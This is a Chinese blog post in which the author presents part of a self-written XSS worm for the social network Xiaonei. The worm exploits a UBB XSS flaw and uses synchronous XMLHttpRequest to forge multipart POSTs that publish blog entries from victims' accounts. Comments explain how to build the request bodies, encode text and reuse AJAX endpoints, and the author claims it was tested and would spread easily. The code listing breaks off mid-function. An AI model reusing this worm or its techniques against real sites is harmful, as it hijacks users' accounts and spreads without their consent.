作者:ycosxhack
来源:余弦函数
前天发现校内网的UBB XSS,code了两天,这只危害性极大的蠕虫编写完毕,测试成功。蠕虫部分代码如下:
function _1() {
src="http://blog.xiaonei.com/NewEntry.do";
var title="/u0033/u002e/u0037/u7ef4/u5ea6 :-(";
//title与_body都将汉字进行16进制双字节编码了,这是解决汉字乱码的一个非常实用的技巧,记住了:-)
var _body="/u79bb/u6563/u503c/uff0c/u53ef/u60dc/u4f60/u770b/u5230/u7684/u662f/u4e71/u7801/u3002";
var blog_pic_id="";
var pic_path="";
var blogControl="99";
/////////////HTTP消息头构造开始/////////////
argv="/r/n"; //这行不可缺少,HTTP消息头的第一行是空白的
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"title/"/r/n/r/n";
//name="title"以及下面所有的name="xxxx"都对应于表单中的表单元素的name属性值
//Content-Disposition是MIME协议的扩展,这里指定其使用form-data表单数据类型
argv+=(title+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"body/"/r/n/r/n";
argv+=(_body+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"theFile/"; filename=/"/"/r/nContent-Type: application/octet-stream/r/n/r/n/r/n";
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"blog_pic_id/"/r/n/r/n";
argv+=(blog_pic_id+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"pic_path/"/r/n/r/n";
argv+=(pic_path+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"blogControl/"/r/n/r/n";
argv+=(blogControl+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"relative_optype/"/r/n/r/n";
argv+=("publisher"+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"del_relative_id/"/r/n/r/n/r/n";
argv+="———————7964f8dddeb95fc5–/r/n";
//注意最后一行的分割特征符———————7964f8dddeb95fc5最后有两减号–,表示HTTP消息头结束
/////////////HTTP消息头构造结束/////////////
_3or7("POST",src,argv); //使用XMLHttpRequest对象发送构造好的HTTP消息头
_2();
}
function _3or7(_m,_s,_a){
_x.open(_m,_s,false);
if(_m=="POST")_x.setRequestHeader("Content-Type","multipart/form-data; boundary=——————-7964f8dddeb95fc5");
3.7维度 ,内容为:离散值,可惜你看到的是乱码。一定要注意我在HTTP消息头上写下的注释。HTTP消息头的构造是很严格的!
我在《web2.0 worm技术细节》里说过:即使这个功能模块本身不是基于AJAX,你的worm也可以使用AJAX技术或者同步的XMLHttpRequest()/XMLHTTP技术来实现数据的后台传输。其实这就要借助HTTP消息头技术,不过我在《web2.0 worm技术细节》中却想当然地绕过HTTP消息头的伪造来实现消息的后头传输。HTTP消息头我还没研究透,在这也不敢贸然否定什么。不过这次的WEB2.0 WORM是很成功的。除了无法绕过验证码或密码限制,其他的功能都能轻易完成。
有点要说明:如果某功能模块本身就是基于AJAX的,那么你就没必要构造HTTP消息头了,直接调用即可。 AJAX是WEB前台与后台数据通信的中间体,这为我们的AJAX WORM的生存提供了绝佳的环境,比如百度空间的许多功能模块就是基于AJAX的,校内网很少……!!!这样我就说明白了吧?
【相关文章】
1、校内网的蠕虫分析:http://hi.baidu.com/monyer/blog/item/bc20a60fd6068ceeaa6457f4.html
2、理解HTTP消息头:http://www.binken.cn/article.asp?id=23
3、web2.0 worm技术细节:http://hi.baidu.com/ycosxhack/blog/item/c41f3f24c6ceaa37c995597e.html
【后记】
这只蠕虫要爆发非常的容易,而且一旦爆发,我就会被骂死……呵呵,本来只想利用这个UBB XSS来做点好玩的事,没想到蠕虫就这样写出来了。现在发现HTTP消息头真好玩,XSS也越来越有趣了。适可而止了,脆弱的校内网。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论